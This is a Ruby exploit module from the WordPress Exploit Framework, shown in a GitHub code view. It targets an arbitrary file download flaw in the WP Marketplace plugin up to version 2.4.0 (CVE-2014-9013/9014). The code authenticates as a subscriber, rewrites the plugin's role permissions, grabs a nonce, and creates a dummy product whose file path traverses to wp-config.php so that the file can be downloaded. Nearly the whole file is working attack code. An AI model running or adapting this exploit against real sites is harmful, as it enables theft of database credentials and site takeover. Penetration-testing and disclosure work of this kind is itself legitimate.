rastating/wordpress-exploit-framework

View on GitHub
lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb

Summary

Maintainability
A
1 hr
Test Coverage
# frozen_string_literal: true

class Wpxf::Auxiliary::WpMarketplaceV24FileDownload < Wpxf::Module
  include Wpxf::WordPress::FileDownload

  def initialize
    super

    update_info(
      name: 'WP Marketplace <= 2.4.0 Arbitrary File Download',
      desc: %(
        This module exploits a vulnerability which allows registered users of any level
        to download any arbitrary file accessible by the user the web server is running as.
      ),
      author: [
        'Kacper Szurek', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '7861'],
        ['CVE', '2014-9013'],
        ['CVE', '2014-9014'],
        ['URL', 'http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html']
      ],
      date: 'Mar 21 2015'
    )

    register_options([
      StringOption.new(
        name: 'user_role',
        desc: 'The role of the user account being used for authentication',
        default: 'Subscriber',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_changelog('wpmarketplace', 'readme.txt', '2.4.1')
  end

  def requires_authentication
    true
  end

  def default_remote_file_path
    '../../../wp-config.php'
  end

  def working_directory
    'wp-content/plugins/wpmarketplace'
  end

  def modify_plugin_permissions
    res = execute_post_request(
      url: full_uri,
      body: {
        'action'                      => 'wpmp_pp_ajax_call',
        'execute'                     => 'wpmp_save_settings',
        '_wpmp_settings[user_role][]' => datastore['user_role'].downcase
      },
      cookie: session_cookie
    )

    unless res && res.code == 200 && res.body =~ /Settings Saved Successfully/i
      emit_error 'Failed to modify the plugin permissions'
      return false
    end

    true
  end

  def fetch_ajax_nonce
    res = execute_post_request(
      url: full_uri,
      body: {
        'action'  => 'wpmp_pp_ajax_call',
        'execute' => 'wpmp_front_add_product'
      },
      cookie: session_cookie
    )

    nonce = res.body[/name="__product_wpmp" value="([^"]+)"/i, 1] if res&.code == 200

    unless nonce
      emit_error 'Failed to acquire a download nonce'
      emit_error res.inspect, true
      return false
    end

    nonce
  end

  def create_product
    res = execute_post_request(
      url: full_uri,
      body: {
        '__product_wpmp' => @nonce,
        'post_type' => 'wpmarketplace',
        'id' => @download_id,
        'wpmp_list[base_price]' => '0',
        'wpmp_list[file][]' => remote_file
      },
      cookie: session_cookie
    )

    unless res && (res.code == 200 || res.code == 302)
      emit_error 'Failed to create dummy product'
      emit_error res.inspect, true
      return false
    end

    true
  end

  def before_download
    return false unless modify_plugin_permissions
    emit_info 'Modified plugin permissions successfully', true

    @nonce = fetch_ajax_nonce
    return false unless @nonce

    emit_info "Acquired nonce \"#{@nonce}\"", true
    self.download_id = "1#{Utility::Text.rand_numeric(5)}"

    create_product
  end

  def download_request_method
    :post
  end

  def downloader_url
    full_uri
  end

  def download_request_params
    { 'wpmpfile' => download_id }
  end

  attr_accessor :download_id
end